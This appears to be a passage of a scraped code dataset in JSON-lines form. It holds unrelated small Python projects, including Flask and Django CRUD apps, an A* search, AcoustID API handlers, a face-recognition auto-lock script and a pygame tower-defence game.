=================================\n\n@app.route('/')\ndef index():\n #========load data ==========\n query = 'SELECT * FROM email'\n emails_list = db.query_db(query)\n return render_template('index.html')\n\n\n\n# ============================ Add =================================\n@app.route('/show' ,methods=['POST'])\ndef create():\n errors = False\n\n # define validations\n message=\"The email address you entered(\"+request.form['email_address']+\") is a valid email address, THANK YOU !\"\n if len(request.form['email_address']) < 1:\n flash(\"Email cannot be blank!\")\n errors = True\n elif not EMAIL_REGEX.match(request.form['email_address']):\n flash(\"Invalid Email Address!\")\n errors = True\n \n \n\n if errors == True:\n return redirect('/')\n else:\n # MAKE SURE EMAIL IS UNIQUE\n insert_query = \"INSERT INTO email (email, created_at) VALUES(:email, NOW())\"\n form_data = {\n \"email\": request.form['email_address'],\n }\n db.query_db(insert_query, form_data)\n\n #========load data ==========\n query = 'SELECT * FROM email'\n emails_list = db.query_db(query)\n return render_template('show.html', emails= emails_list , message=message)\n\n\n# ============================ Delete Data =================================\n\n@app.route('//delete', methods=[\"POST\"])\ndef destroy(email_id):\n message=\"The email address is deleted !\"\n\n # processing delete form\n delete_query = \"DELETE FROM email WHERE id=:email_id\"\n data = {\n \"email_id\": email_id\n }\n db.query_db(delete_query, data)\n #========load data ==========\n query = 'SELECT * FROM email'\n emails_list = db.query_db(query)\n return render_template('show.html', emails= emails_list , message=message)\n\napp.run(debug=True)","repo_name":"ckceddie/MySQL","sub_path":"email/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"7477334167","text":"import sys\nimport requests\nimport logging\n\nimport click\nfrom ml_classifier.data.dataset import read_data\nfrom ml_classifier_online.entities import read_requests_params, Sample\n\n\nlogger = logging.getLogger(__name__)\nhandler = logging.StreamHandler(sys.stdout)\nlogger.setLevel(logging.INFO)\nlogger.addHandler(handler)\n\n\n@click.command()\n@click.argument('config-path', default='configs/requests_config.yaml')\ndef run_request(config_path: str) -> None:\n logger.info(f'Start with config: {config_path}')\n requests_params = read_requests_params(config_path)\n logger.info(f'Request params: {requests_params}')\n data = read_data(requests_params.path_to_data).to_dict('records')\n logger.info(f'Data size: {len(data)}')\n url = f'http://{requests_params.host}:{requests_params.port}/predict/'\n logger.info('Start predicting...')\n for i in range(len(data)):\n sample = Sample(**data[i]).dict()\n response = requests.post(url=url, json=sample)\n status = response.status_code\n predict = response.json()\n logger.info(f'sample {i}: status_code: {status}, predict: {predict}')\n\n logger.info('end')\n\n\nif __name__ == '__main__':\n run_request()\n","repo_name":"made-ml-in-prod-2021/yunusovev","sub_path":"online_inference/ml_classifier_online/make_requests.py","file_name":"make_requests.py","file_ext":"py","file_size_in_byte":1188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"19344640388","text":"from django.shortcuts import render\n\n# Create your views here.\nfrom .forms import CustonUserFrom\nfrom web.models import producto\nfrom django.contrib.auth.decorators import login_required,permission_required\nfrom django.contrib.auth import login,authenticate\nfrom django.shortcuts import redirect\n\n#rest_framework\nfrom rest_framework import viewsets\nfrom .serializers import productoSerializers\n\n\n\ndef Principal (request):\n print('ok,estamos en la vista mostrar alumnos')\n lista = producto.objects.filter(destacado =1)\n context={'listado':lista}\n return render(request,'web/Principal.html',context)\ndef Notebook (request):\n print('ok,estamos en la vista mostrar notebook')\n lista = producto.objects.filter(tipo ='n')\n context={'listado':lista}\n return render(request,'web/Notebook.html',context)\n\ndef celulares (request):\n print('ok,estamos en la vista mostrar celulares')\n lista = producto.objects.filter(tipo ='c')\n context = {'listado': lista}\n return render(request, 'web/celulares.html', context)\ndef Formulario (request):\n print(\"vista Formulario\")\n context={}\n return render(request,'web/Formulario.html',context)\n\n# INICIO DE METODOS SOLO PARA EL ADMIN\n@login_required\n@permission_required('core.add_producto')\ndef agregar_p (request):\n print(\"vista Formulario\")\n context={}\n return render(request,'web/Agregar_producto.html',context)\n@login_required\n@permission_required('core.add_producto')\ndef agregar_produc (request):\n print(\"hola estoy en agregar producto...\")\n if request.method == 'POST':\n mi_marca = request.POST['marca']\n mi_codigo = request.POST['codigo']\n mi_modelo = request.POST['modelo']\n mi_descripcion = request.POST['descripcion']\n mi_precio = request.POST['precio']\n mi_Foto_producto_d = request.FILES['Foto_producto_d']\n mi_activo = request.POST['activo']\n mi_tipo = request.POST['tipo']\n mi_destacado = request.POST['destacado']\n\n if mi_codigo != \"\":\n try:\n Producto = producto()\n\n Producto.codigo = mi_codigo\n Producto.marca = mi_marca\n Producto.modelo = mi_modelo\n Producto.descripcion = mi_descripcion\n Producto.precio = mi_precio\n Producto.Foto_producto_d = mi_Foto_producto_d\n Producto.activo = mi_activo\n Producto.tipo = mi_tipo\n Producto.destacado = mi_destacado\n\n Producto.save()\n\n return render(request, 'web/Confir_crud/p_agregardo.html', {})\n\n except Producto.DoesNotExist:\n return render(request, 'web/error/error_204.html', {})\n else:\n return render(request, 'web/error/error_201.html', {})\n else:\n return render(request, 'web/error/error_203.html', {})\n@login_required\n@permission_required('core.add_producto')\ndef eliminar_p (request):\n print(\"vista eliminar_p\")\n context={}\n return render(request,'web/eliminar_producto.html',context)\n@login_required\n@permission_required('core.add_producto')\ndef eliminar_porducto(request):\n print('-----------------------------------')\n print(\"hola estoy en eliminar_por_rut...\")\n print('-----------------------------------')\n if request.method == 'POST':\n mi_codigo = request.POST['codigo']\n\n if mi_codigo != \"\":\n try:\n Producto = producto()\n Producto = producto.objects.get(codigo = mi_codigo)\n if Producto is not None:\n print(\"producto=\", Producto)\n Producto.delete()\n return render(request, 'web/Confir_crud/p_eliminado.html',)\n else:\n return render(request, 'web/error/error_204.html',{})\n except Producto.DoesNotExist:\n return render(request, 'web/error/error_202.html', {})\n else:\n return render(request, 'web/error/error_201.html', {})\n else:\n return render(request, 'web/error/error_203.html', {})\n@login_required\n@permission_required('core.add_producto')\ndef listado_producto (request):\n print('ok,')\n lista = producto.objects.all()\n context = {'listado': lista}\n return render(request, 'web/listar_p.html', context)\n@login_required\n@permission_required('core.add_producto')\ndef editar(request):\n print('----------------------------')\n print('ok,estamos en la vista editar')\n context={}\n return render(request,'web/buscar_Editar_p.html',context)\n\n@login_required\n@permission_required('core.add_producto')\ndef buscar_para_editar(request):\n print(\"hola estoy en buscar_para_editar...\")\n if request.method == 'POST':\n mi_codigo = request.POST['codigo']\n\n if mi_codigo != \"\":\n try:\n Producto = producto()\n Producto= producto.objects.get(codigo = mi_codigo)\n if Producto is not None:\n print(\"producto=\", Producto)\n context={'producto':Producto}\n return render(request, 'web/editar_producto.html', context)\n else:\n return render(request, 'web/error/error_202.html',{})\n except Producto.DoesNotExist:\n return render(request, 'web/error/error_202.html', {})\n else:\n return render(request, 'web/error/error_201.html', {})\n else:\n return render(request, 'web/error/error_203.html', {})\n@login_required\n@permission_required('core.add_producto')\ndef actualizar_producto(request):\n print(\"hola estoy en actualizar_alumno...\")\n if request.method == 'POST':\n\n mi_id_producto_d = request.POST['id_producto_d']\n mi_marca = request.POST['marca']\n mi_codigo = request.POST['codigo']\n mi_modelo = request.POST['modelo']\n mi_descripcion = request.POST['descripcion']\n mi_precio = request.POST['precio']\n mi_Foto_producto_d = request.FILES['Foto_producto_d']\n mi_activo = request.POST['activo']\n mi_tipo = request.POST['tipo']\n mi_destacado = request.POST['destacado']\n\n if mi_codigo != \"\":\n try:\n Producto = producto()\n\n Producto.id_producto_d = mi_id_producto_d\n Producto.codigo = mi_codigo\n Producto.marca = mi_marca\n Producto.modelo = mi_modelo\n Producto.descripcion = mi_descripcion\n Producto.precio = mi_precio\n Producto.Foto_producto_d = mi_Foto_producto_d\n Producto.activo = mi_activo\n Producto.tipo = mi_tipo\n Producto.destacado = mi_destacado\n\n Producto.save()\n\n return render(request, 'web/Confir_crud/p_actualizado.html', {})\n\n except Producto.DoesNotExist:\n return render(request, 'web/error/error_204.html', {})\n else:\n return render(request, 'web/error/error_201.html', {})\n else:\n return render(request, 'web/error/error_203.html', {})\n\n\n#registro de usuario \ndef registro_usuario(request):\n data = {\n 'form':CustonUserFrom()\n }\n \n if request.method == 'POST':\n Formulario = CustonUserFrom(request.POST)\n if Formulario.is_valid():\n Formulario.save()\n #autenticar al usuario y redirigirlo al inicio\n username = Formulario.cleaned_data['username']\n password = Formulario.cleaned_data['password1']\n user = authenticate(username=username, password=password)\n login(request, user)\n return redirect(to='Principal')\n\n return render(request,'registration/registrar.html', data)\n\nclass productoViewset(viewsets.ModelViewSet):\n queryset = producto.objects.all()\n serializer_class = productoSerializers","repo_name":"alejandroprint/pruebeweb","sub_path":"prueba2/web/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7999,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"25925485900","text":"import argparse\n\ndef main() -> None:\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"hex\", help=\"hex encoded network key\", type=str)\n args = parser.parse_args()\n\n chunks = [args.hex[i:i+2] for i in range(0, len(args.hex), 2)]\n decimals = [int(chunk, 16) for chunk in chunks]\n output = \"\\n\".join([str(d) for d in decimals])\n print(output)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"lseffer/home-assistant-configs","sub_path":"scripts/network-key-from-hex.py","file_name":"network-key-from-hex.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"1983385766","text":"import copy\nimport time\nfrom heapq import heappush, heappop\nimport main\nimport output\n\ndef astar(sp, gp, tp1, tp2):\n \"\"\"\n A* Suche. Jeder Knoten in der Nachbarschaft wird untersucht und\n zum Heap hinzugefügt mit der dazugehörigen Euklidischen Distanz.\n Danach wird der kleinste Wert als neue x und y erstellt.\n\n Dabei wird für jeden untersuchten Punkt zunächst für jede Richtung ein Tupel zwischengespeichert,\n das nachdem alle Richtungen überprüft wurden in den Heap gepusht wird, damit sichergestellt werden\n kann, dass stets das richtige Tupel verwendet wird.\n\n Die Tupel im Heap setzen sich zusammen aus:\n\n (euklidische Distanz + bisherige Weglänge, bisherige Weglänge, neues x, neues y, bisheriger Pfad)\n \"\"\"\n ###\n x = sp[0]\n y = sp[1]\n stepsmade=0\n maxfrontier=0\n heap = []\n heappush(heap, (gp[0]-x+gp[1]-y,0, x, y, [[x,y]]))\n while True:\n if main.goalnotreached(x, y):\n main.setmarker(x, y)\n topush = []\n if(main.neighbourfree('u', x, y)):\n euklid = gp[0] - (x-1) + (gp[1] - y)\n u = (heap[0][1]+euklid,heap[0][1]+1, x-1, y, heap[0][4]+[[x-1, y]])\n topush.append(u)\n stepsmade += 1\n maxfrontier += 1\n if(main.neighbourfree('r', x, y)):\n euklid = gp[0] - x + (gp[1] - (y+1))\n r = (heap[0][1]+euklid,heap[0][1]+1, x, y+1, heap[0][4]+[[x, y+1]])\n topush.append(r)\n stepsmade += 1\n maxfrontier += 1\n if(main.neighbourfree('d', x, y)):\n euklid = gp[0] - (x+1) + (gp[1] - y)\n d = (heap[0][1]+euklid,heap[0][1]+1, x+1, y, heap[0][4]+[[x+1, y]])\n topush.append(d)\n stepsmade += 1\n maxfrontier += 1\n if(main.neighbourfree('l', x, y)):\n euklid = gp[0] - x + (gp[1] - (y-1))\n l = (heap[0][1]+euklid,heap[0][1]+1, x, y-1, heap[0][4]+[[x, y-1]])\n topush.append(l)\n stepsmade += 1\n maxfrontier += 1\n heappop(heap)\n maxfrontier -= 1\n while not len(topush) == 0:\n heappush(heap, topush[0])\n topush.pop(0)\n #print(heap)\n x = heap[0][2]\n y = heap[0][3]\n output.printstate()\n #time.sleep(.10)\n else:\n print(heap[0][4])\n output.printfinalstate(sp, gp, heap)\n print(\"Steps made: \"+str(stepsmade))\n print(\"Max Frontier used: \"+str(maxfrontier))\n break","repo_name":"Alienmaster/GWVSearch","sub_path":"astar.py","file_name":"astar.py","file_ext":"py","file_size_in_byte":2651,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"6553773699","text":"TC = int(input())\nfor x in range(TC):\n n = int(input())\n dp = [0,1,1,1,2,2]\n if n <= 5:\n print(dp[n])\n else:\n for i in range(6,n+1):\n res = dp[i-1] + dp[i-5]\n dp.append(res)\n print(dp[n])","repo_name":"timetobye/BOJ_Solution","sub_path":"problem_solve_result/9461.py","file_name":"9461.py","file_ext":"py","file_size_in_byte":242,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"19478129042","text":"import datetime\nimport logging\nfrom acoustid.data.stats import (\n update_lookup_stats,\n update_user_agent_stats,\n find_application_lookup_stats_multi,\n)\nfrom acoustid.data.application import (\n find_applications_by_apikeys,\n insert_application,\n lookup_application_id,\n update_application_status,\n)\nfrom acoustid.data.account import (\n insert_account,\n)\nfrom acoustid.api import errors\nfrom acoustid.api.v2 import APIHandler, APIHandlerParams\nfrom acoustid.handler import Handler, Response\n\nlogger = logging.getLogger(__name__)\n\n\nclass UpdateLookupStatsHandlerParams(APIHandlerParams):\n\n def parse(self, values, conn):\n super(UpdateLookupStatsHandlerParams, self).parse(values, conn)\n self.secret = values.get('secret')\n self.application_id = values.get('application_id', type=int)\n self.date = values.get('date')\n self.hour = values.get('hour', type=int)\n self.type = values.get('type')\n self.count = values.get('count', type=int)\n\n\nclass UpdateLookupStatsHandler(APIHandler):\n\n params_class = UpdateLookupStatsHandlerParams\n\n def _handle_internal(self, params):\n if self.cluster.role != 'master':\n logger.warning('Trying to call update_lookup_stats on %s server', self.cluster.role)\n raise errors.NotAllowedError()\n if self.cluster.secret != params.secret:\n logger.warning('Invalid cluster secret')\n raise errors.NotAllowedError()\n with self.conn.begin():\n update_lookup_stats(self.conn, params.application_id, params.date,\n params.hour, params.type, params.count)\n return {}\n\n\nclass UpdateUserAgentStatsHandlerParams(APIHandlerParams):\n\n def parse(self, values, conn):\n super(UpdateUserAgentStatsHandlerParams, self).parse(values, conn)\n self.secret = values.get('secret')\n self.application_id = values.get('application_id', type=int)\n self.date = values.get('date')\n self.user_agent = values.get('user_agent')\n self.ip = values.get('ip')\n self.count = values.get('count', type=int)\n\n\nclass UpdateUserAgentStatsHandler(APIHandler):\n\n params_class = UpdateUserAgentStatsHandlerParams\n\n def _handle_internal(self, params):\n if self.cluster.role != 'master':\n logger.warning('Trying to call update_user_agent_stats on %s server', self.cluster.role)\n raise errors.NotAllowedError()\n if self.cluster.secret != params.secret:\n logger.warning('Invalid cluster secret')\n raise errors.NotAllowedError()\n with self.conn.begin():\n update_user_agent_stats(self.conn, params.application_id, params.date,\n params.user_agent, params.ip, params.count)\n return {}\n\n\nclass LookupStatsHandlerParams(APIHandlerParams):\n\n def parse(self, values, conn):\n super(LookupStatsHandlerParams, self).parse(values, conn)\n self.secret = values.get('secret')\n apikeys = values.getlist('client')\n if not apikeys:\n raise errors.InvalidAPIKeyError()\n self.applications = find_applications_by_apikeys(conn, apikeys)\n if not self.applications:\n raise errors.InvalidAPIKeyError()\n self.from_date = values.get('from')\n if self.from_date is not None:\n self.from_date = datetime.datetime.strptime(self.from_date, '%Y-%m-%d').date()\n self.to_date = values.get('to')\n if self.to_date is not None:\n self.to_date = datetime.datetime.strptime(self.to_date, '%Y-%m-%d').date()\n self.days = values.get('days', type=int)\n\n\nclass LookupStatsHandler(APIHandler):\n\n params_class = LookupStatsHandlerParams\n\n def _handle_internal(self, params):\n if self.cluster.secret != params.secret:\n logger.warning('Invalid cluster secret')\n raise errors.NotAllowedError()\n application_ids = dict((app['id'], app['apikey']) for app in params.applications)\n kwargs = {}\n if params.from_date is not None:\n kwargs['from_date'] = params.from_date\n if params.to_date is not None:\n kwargs['to_date'] = params.to_date\n if params.days is not None:\n kwargs['days'] = params.days\n stats = find_application_lookup_stats_multi(self.conn, application_ids.keys(), **kwargs)\n for entry in stats:\n entry['date'] = entry['date'].strftime('%Y-%m-%d')\n return {'stats': stats}\n\n\nclass CreateAccountHandlerParams(APIHandlerParams):\n\n def parse(self, values, conn):\n super(CreateAccountHandlerParams, self).parse(values, conn)\n self.secret = values.get('secret')\n\n\nclass CreateAccountHandler(APIHandler):\n\n params_class = CreateAccountHandlerParams\n\n def _handle_internal(self, params):\n if self.cluster.secret != params.secret:\n logger.warning('Invalid cluster secret')\n raise errors.NotAllowedError()\n account_id, account_api_key = insert_account(self.conn, {\n 'name': 'External User',\n 'anonymous': True,\n })\n return {'id': account_id, 'api_key': account_api_key}\n\n\nclass CreateApplicationHandlerParams(APIHandlerParams):\n\n def parse(self, values, conn):\n super(CreateApplicationHandlerParams, self).parse(values, conn)\n self.secret = values.get('secret')\n self.account_id = values.get('account_id', type=int)\n self.name = values.get('name')\n self.version = values.get('version')\n\n\nclass CreateApplicationHandler(APIHandler):\n\n params_class = CreateApplicationHandlerParams\n\n def _handle_internal(self, params):\n if self.cluster.secret != params.secret:\n logger.warning('Invalid cluster secret')\n raise errors.NotAllowedError()\n application_id, application_api_key = insert_application(self.conn, {\n 'account_id': params.account_id,\n 'name': params.name,\n 'version': params.version,\n })\n return {'id': application_id, 'api_key': application_api_key}\n\n\nclass UpdateApplicationStatusHandlerParams(APIHandlerParams):\n\n def parse(self, values, conn):\n super(UpdateApplicationStatusHandlerParams, self).parse(values, conn)\n self.secret = values.get('secret')\n self.account_id = values.get('account_id', type=int)\n self.application_id = values.get('application_id', type=int)\n if not lookup_application_id(conn, self.application_id, self.account_id):\n raise errors.UnknownApplicationError()\n self.active = values.get('active', type=bool)\n\n\nclass UpdateApplicationStatusHandler(APIHandler):\n\n params_class = UpdateApplicationStatusHandlerParams\n\n def _handle_internal(self, params):\n if self.cluster.secret != params.secret:\n logger.warning('Invalid cluster secret')\n raise errors.NotAllowedError()\n update_application_status(self.conn, params.application_id, params.active)\n return {'id': params.application_id, 'active': params.active}\n","repo_name":"userid/acoustid-server","sub_path":"acoustid/api/v2/internal.py","file_name":"internal.py","file_ext":"py","file_size_in_byte":7109,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"25833719316","text":"import cv2\nimport face_recognition,numpy\nimport os,time\nimport pickle\nimport ctypes\n# Load danh sách khuôn mặt đã train từ file PKL\nwith open(\"bachface.pkl\", \"rb\") as f:\n known_faces = pickle.load(f)\n\n# Khởi tạo camera\nvideo_capture = cv2.VideoCapture(0)\n\nwhile True:\n # Đọc frame từ camera\n ret, frame = video_capture.read()\n\n # Chuyển đổi frame từ BGR sang RGB để sử dụng với thư viện face_recognition\n rgb_frame = numpy.ascontiguousarray(frame[:, :, ::-1])\n\n # Phát hiện khuôn mặt trong frame\n face_locations = face_recognition.face_locations(rgb_frame)\n face_encodings = face_recognition.face_encodings(rgb_frame, face_locations)\n # Kiểm tra nếu không có khuôn mặt trong khung hình\n if len(face_locations) == 0:\n time.sleep(5)\n face_locations = face_recognition.face_locations(rgb_frame)\n face_encodings = face_recognition.face_encodings(rgb_frame, face_locations)\n if len(face_locations) == 0:\n ctypes.windll.user32.LockWorkStation()\n else:\n face_locations = face_recognition.face_locations(rgb_frame)\n face_encodings = face_recognition.face_encodings(rgb_frame, face_locations)\n # Duyệt qua các khuôn mặt đã phát hiện\n for face_encoding in face_encodings:\n # So sánh encoding của khuôn mặt đã phát hiện với danh sách encoding đã train\n match = face_recognition.compare_faces([kf[\"encoding\"] for kf in known_faces], face_encoding)\n name = \"Unknown\" # Mặc định là \"Unknown\" nếu không có khuôn mặt khớp\n\n if any(match):\n name = known_faces[match.index(True)][\"name\"]\n # Vẽ hộp giữa khuôn mặt và hiển thị tên\n top, right, bottom, left = face_locations[0]\n cv2.rectangle(frame, (left, top), (right, bottom), (0, 0, 255), 2)\n cv2.putText(frame, name, (left, top - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.75, (0, 0, 255), 2)\n\n # Hiển thị frame\n cv2.imshow('Video', frame)\n\n # Thoát vòng lặp nếu nhấn phím 'q'\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n# Giải phóng tài nguyên\nvideo_capture.release()\ncv2.destroyAllWindows()\n","repo_name":"barttran2k/auto-lock-without-face","sub_path":"detect.py","file_name":"detect.py","file_ext":"py","file_size_in_byte":2238,"program_lang":"python","lang":"vi","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"25677285151","text":"import os\n\n# 当前项目路径\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n# 项目名称\nPROJECT = os.path.split(BASE_DIR)[-1]\n\n# 使FlaskRestful的异常让@app.errorhander捕获\n# https://flask.palletsprojects.com/en/1.0.x/config/#PROPAGATE_EXCEPTIONS\nPROPAGATE_EXCEPTIONS = True\n\nSERVERS = {\n \"13\": {\n \"server_desc\": \"admin@10.98.xx.xx,平台开发组测试应用服务器\",\n \"api\": \"http://xx:xx@10.98.xx.xx:9001/RPC2\",\n }\n}\n\nGROUPS = {\n \"service\": {\n \"group_desc\": \"价格预测系统服务层\",\n \"program_list\": [\n \"13.xx\",\n \"13.xx\",\n ]\n },\n \"app\": {\n \"group_desc\": \"价格预测系统应用层\",\n \"program_list\": [\n \"13.xx\",\n \"13.xx\",\n ]\n },\n \"custom\": {\n \"group_desc\": \"IDSS外部项目\",\n \"program_list\": [\n \"13.xx\"\n ]\n }\n}","repo_name":"yangq10/supervisor-unify","sub_path":"config/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"14391930841","text":"import concurrent.futures\n\nimport time\nstart = time.perf_counter()\n\ndef do_something(seconds):\n print(f\"Sleeping {seconds} second(s)...\")\n time.sleep(seconds)\n return \"Done sleeping...\"\n\nwith concurrent.futures.ThreadPoolExecutor() as executor:\n list_futures_instances = [\n executor.submit(do_something, 1) for _ in range(10)]\n\n print([future_instance.result() for future_instance in list_futures_instances])\n\n\nfinish = time.perf_counter()\n\nprint(f\"Finished in {round(finish - start, 4)} second(s)\")","repo_name":"williamszk/python_study","sub_path":"various/211105-threading-tutorials/211105_05_thread_pool.py","file_name":"211105_05_thread_pool.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"16730762104","text":"from bs4 import BeautifulSoup, PageElement, ResultSet\nimport requests\nimport pandas as pd\nimport itertools\nfrom functools import partial\n\n\n\n\ndef _parseTable(table: PageElement):\n\n print('table =======>', table)\n tb = dict({\"table\": table.get('name', ''),\n \"numRows\": table.get('numrows', ''),\n #\"remarks\": table.get('remarks', '')\n })\n\n cols = table.findAllNext('column')\n\n def _parseCol(col: PageElement):\n col_dict = {\"col_name\": col.get('name', 'unknown name'),\n \"col_remarks\": col.get('remarks', ''),\n \"autoUpdated\": col.get('autoupdated', ''),\n \"nullable\": col.get('nullable', ''),\n }\n return col_dict\n\n columns = list(map(_parseCol, cols))\n cols = {\"columns\": list(columns)}\n tab = {\"tb\": tb}\n\n return {**tab, **cols}\n\ndef _parseTr(tr: PageElement):\n tds = tr.findAllNext (\"td\")\n return {\"Table\": tds[0].text, \"Column\": tds[1].text, \"Type\": tds[2].text, \"Size\": tds[3].text, \"Nulls\": tds[4].text, \"Auto\": tds[5].text, \"Default\": tds[6].text}\n\ndef generate_csv(output_path_csv: str):\n PAGE_URL = 'https://mit-lcp.github.io/mimic-omop/schemaspy-omop/columns.byTable.html'\n page = requests.get(PAGE_URL)\n soup: BeautifulSoup = BeautifulSoup(page.content, 'lxml')\n\n trs = soup.find(\"tbody\", {\"valign\": \"top\"}).findAllNext(\"tr\")\n tables = list(map(_parseTr, trs))\n df = pd.DataFrame.from_dict(tables)\n print(df.head())\n\n df.to_csv(output_path_csv, index=False)\n\ndef generate_json_from_schema(out_path_csv: str):\n PAGE_URL = 'https://mit-lcp.github.io/mimic-omop/schemaspy-omop/postgres.omop.xml'\n page = requests.get(PAGE_URL)\n soup: BeautifulSoup = BeautifulSoup(page.content, 'lxml')\n xml_tables: ResultSet = soup.find(\"tables\").findAllNext(\"table\")\n tables = list(map(_parseTable, xml_tables))\n columns = list()\n for tab in tables:\n for col in tab.get('columns', []):\n z = {**tab.get('tb'), **col}\n columns.append(z)\n\n df = pd.DataFrame.from_dict(columns)\n print(df.head())\n\n df.drop_duplicates([\"table\", \"col_name\"], keep='last', inplace=True)\n df.to_json(out_path_csv, orient='records')\n\n","repo_name":"hamroune/ap-hp-covid-19-omop","sub_path":"omop/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":2227,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"34330342649","text":"\"\"\"\n做着玩的,挺多瑕疵。。\n\"\"\"\nimport pygame\nfrom pygame.locals import *\nimport sys\nimport os\nimport random\nfrom pygame.color import THECOLORS\nimport math\nimport json\n\nimg_path = os.path.split(os.path.realpath(__file__))[0]+'/img/'\nmusic_path = os.path.split(os.path.realpath(__file__))[0]+'/music/'\nsound_path = os.path.split(os.path.realpath(__file__))[0]+'/sound/'\nlevel_path = os.path.split(os.path.realpath(__file__))[0]+'/level/'\nhcr_img_jz = [img_path+'xrk/xrk1.png', img_path+'xrk/xrk2.png', img_path+'xrk/xrk3.png', img_path+'xrk/xrk4.png']\nwd_img_jz = [img_path+'wd/wd1.png', img_path+'wd/wd2.png', img_path+'wd/wd3.png']\n\n#窗口大小\nwidth = 900\nheight = 600\n#框框位置\nkk_location = [0, 0]\n#代价为位置\ncz_location = [705, 15]\n#格子70*70\nqp_location = [240, 170]\n#种子框位置\nzzb_location = [125, 20]\n#函数大军\ndef sound(filename):\n sound = pygame.mixer.Sound(sound_path+filename)\n sound.play()\ndef music(filename):\n # 播放音乐\n pygame.mixer.music.load(music_path+filename)\n pygame.mixer.music.play(-1, 0)#循环次数,从第n秒开始播放\n #pygame.mixer.music.stop()#停止播放\ndef 画面显示():\n 画背景()\n 画内饰() #上栅栏,草地边缘属于内饰\n 画棋盘物体()\n 画外饰() #下栅栏,房子,树属于外饰\n 画操作界面()\n 画种子包()\n 文字显示()\n 鼠标跟随()\n 画阳光和硬币()\n pygame.display.flip()\ndef 加载关卡(filename):\n with open(level_path + filename, 'r', encoding='utf-8') as file:\n 关卡 = json.load(file)\n global 关卡名称, 关卡模式, 大波数, 总波数, 背景, 棋盘, bgm, 外饰, 内饰\n 关卡名称 = 关卡['关卡名称']\n 关卡模式 = 关卡['模式']\n 大波数 = 关卡['大波数']\n 总波数 = 关卡['总波数']\n 背景 = 关卡['背景']\n 棋盘 = 关卡['棋盘']\n bgm = 关卡['bgm']\n 外饰 = 关卡['外饰']\n 内饰 = 关卡['内饰']\n if not 背景:\n 背景 = 'bj.png'\n if not 棋盘:\n 棋盘 = 'qp.png'\n if 外饰:\n 外饰 = pygame.image.load(img_path + 'ws/' + 外饰)\n else:\n 外饰 = pygame.image.load(img_path + 'ws/ws1.png')\n if 内饰:\n 内饰 = pygame.image.load(img_path + 'ns/' + 内饰)\n else:\n 内饰 = pygame.image.load(img_path + 'ns/ns1.png')\n if not bgm:\n bgm = 'Laura Shigihara - Grasswalk.mp3'\n i = 1\n global coming_js, dq, bo\n while True:\n if 关卡['波'].get('%d'%i):\n bo.append(关卡['波']['%d'%i])\n else:\n break\n i += 1\n print('关卡解析完成:')\n print('关卡名称:', 关卡名称, '\\n关卡模式:', 关卡模式)\ndef 波解析(dict):\n global time, dq, in_bo, bo, 最后一波, 波数, 大波, botext, bot\n if time >= dict['出现时间']:\n in_bo = True\n time = -1\n i = 1\n 波数 += 1\n if 波数 == 1:\n sound('a lot of.wav')\n if dict['大波']:\n sound('hugewave.wav')\n botext = bofont.render('一大波僵尸正在靠近', True, THECOLORS['red'])\n bot = 50\n 大波 = True\n else:\n 大波 = False\n if dict['最后一波']:\n 最后一波 = True\n while True:\n if dict['僵尸'].get('%d'%i):\n coming_js.append(dict['僵尸']['%d'%i])\n else:\n dq = i - 1\n break\n i += 1\n bo.pop(0)\n elif time == -1:\n global jstime\n if jstime == 10 and 大波:\n if 波数 != 1:\n sound('siren.wav')\n sound('sukhbir.wav')\n # 当前僵尸死光了(或被死亡)\n if dq == 0:\n jstime = -1\n in_bo = False\ndef 刷新僵尸(dict):\n global jstime, coming_js\n if jstime >= dict['出现时间']:\n if dict['出现位置'] == 0:\n dict['出现位置'] = random.randint(1, 5)\n if dict['id'] == 1:\n #id 1 戴帽子僵尸\n js.append(hatjsClass(dict['出现位置'], dict['被死亡时间'], dict['帽子'], dict['帽子生命']))\n print(dict)\n return dict\ndef 扣血(s, hp):\n if s.type == 'pl':\n s.扣血(hp)\n elif s.type == 'zb':\n s.扣血(hp)\ndef 鼠标跟随():\n #铲子跟随\n if 铲子选中态:\n mx, my = pygame.mouse.get_pos()\n screen.blit(cz, [mx - 25, my - 45])\n else:\n screen.blit(cz, cz_location)\n #种子跟随\n if 种子选中态:\n mx, my = pygame.mouse.get_pos()\n screen.blit(zzb[选中种子-1].i, [mx - 25, my - 40])\ndef 文字显示():\n screen.blit(suntext, (15, 87))\n screen.blit(warmtext, (200, 500))\n screen.blit(botext, (250, 250))\n surface2 = screen.convert_alpha()\ndef 进入cd(n):\n zzb[n].oncd = zzb[n].cd\ndef 收集阳光():\n for s in sun_move:\n s.move(s.wei2)\ndef 画背景():\n global 背景, 棋盘\n #screen.fill(THECOLORS['white'])\n screen.blit(pygame.image.load(img_path + 'background/' + 背景), (0, 0))\n screen.blit(pygame.image.load(img_path + 'qp/' + 棋盘), qp_location)\ndef 画外饰():\n screen.blit(外饰, (0, 0))\ndef 画操作界面():\n screen.blit(kk, kk_location) # 